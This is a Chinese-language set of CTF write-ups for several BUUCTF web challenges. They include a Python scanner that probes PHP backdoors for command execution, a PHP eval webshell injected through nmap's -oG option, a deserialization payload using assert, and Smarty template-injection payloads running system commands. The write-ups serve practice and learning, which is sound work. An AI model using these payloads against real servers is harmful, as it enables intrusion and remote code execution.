[強網杯 2019]高明的駭客
參考:[強網杯 2019]高明的駭客(考察程式碼編寫能力)-CSDN部落格
網站原始碼一下,一堆木馬,我們需要找到能用的
就是跑指令碼
import os
import requests
import re
import threading
import time
print('開始時間: '+ time.asctime( time.localtime(time.time()) ))
s1 = threading.Semaphore(10)
filePath = r'D:/EdgeDownload/www/src'
os.chdir(filePath) # 切換到工作目錄
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False
def get_content(file):
s1.acquire()
print('trying '+file+' '+time.asctime(time.localtime(time.time())))
with open(file,encoding='utf-8') as f:
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read())) # 匹配GET的引數
posts = list(re.findall('\$_POST\[\'(.*?)\'\]',f.read())) # 匹配POST的引數
params = {} # 所有的$_GET
data = {} # 所有的$_POST
for m in gets:
params[m] = "echo 'xxxx';"
for n in posts:
data[n] = "echo 'xxxx';"
url = 'http://e724c6e7-7d75-4786-a519-0c8ef9d3cccd.node5.buuoj.cn:81/'+file
req = session.post(url,data=data,params=params)
req.close()
req.encoding = 'utf-8'
content = req.text
if 'xxxx' in content:
flag = 0
for a in gets:# 傳送GET請求驗證
req = session.get(url+'?%s='%a+"echo 'xxxx';")
content = req.text
req.close()
if 'xxxx' in content:
flag = 1
break
if flag != 1:
for b in posts: # 如果不是GET就傳送POST
req = session.post(url,data={b:"echo 'xxxx';"})
content = req.text
req.close()
if 'xxxx' in content:
break
if flag == 1:
param = a
else:
param = b
print('找到了利用檔案:'+file+'以及利用的引數:'+param)
print('結束時間'+time.asctime(time.localtime(time.time())))
s1.release()
for i in files:
t = threading.Thread(target=get_content,args=(i,))
t.start()
然後就在 xk0SzyKwfzw.php找到Efa5BVG
/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag
[ASIS 2019]Unicorn shop
參考:
[BUUCTF ASIS 2019] Unicorn shop_[asis 2019]unicorn shop-CSDN部落格
我想買個最貴的馬不讓買
id=4&price=1337
推測就是需要Unicode碼大於1337
我們去compart搜尋比1337大的Unicode - Compart
搜尋 two thousand
用這一個買馬就行了
得到flag
[網鼎杯 2020 朱雀組]Nmap
參考:
[BUUCTF 網鼎杯 2020 朱雀組] Nmap_[網鼎杯 2020 朱雀組]nmap-CSDN部落格
[網鼎杯 2020 朱雀組]Nmap 1 - AikNr - 部落格園 (cnblogs.com)
考的是namp一個引數的使用
-oG 寫入檔案,這樣我們可以給一句話木馬寫入
127.0.0.1 | ' <?php eval($_POST['cmd']);?> -oG test.php'
換一下字尾試試
127.0.0.1 | ' <?php eval($_POST['cmd']);?> -oG test.phtml'
還是不行
127.0.0.1 | ' <=php eval($_POST['cmd']);?> -oG test.phtml'
最後這樣(注意記得空格,單引號前後)
127.0.0.1 | ' <?= @eval($_POST["cmd"]);?> -oG test.phtml '
可以被解析
連線一下拿到flag
[NPUCTF2020]ReadlezPHP
參考:
【php】assert函式的用法_php assert(-CSDN部落格
我們在原始碼處找到
點進來是個原始碼
很明顯我們需要構造反序列化,就在echo $b($a)處可以觸發
那這裡我們去使用assert,因為eval的條件很嚴格,eval()內的php指令需要嚴格按照雙引號包裹,然後裡面必須有;
如圖所示
第一條指令可以執行,第二條卻不行
O:8:"HelloPhp":2:{s:1:"a";s:10:"phpinfo();";s:1:"b";s:6:"assert";}
這道題也是很幸運,flag就在phpinfo
[CISCN2019 華東南賽區]Web11
開啟後,發現會顯示你的ip
那他怎麼檢測出來的,那絕對是XFF,後面又看到他說是基於Smarty搭建
那我們就想到是在XFF這裡模組注入,我們試試吧
返回了
所以這讓我們模組注入Smarty模板注入&CVE-2017-1000480 - 先知社群 (aliyun.com)
這邊我們可以用{if}{/if}
我們先試試phpinfo成功執行
{if phpinfo()}{/if}
接下來我們獲取目錄
{if system('ls /')}{/if}
獲取flag
{if system('cat /flag')}{/if}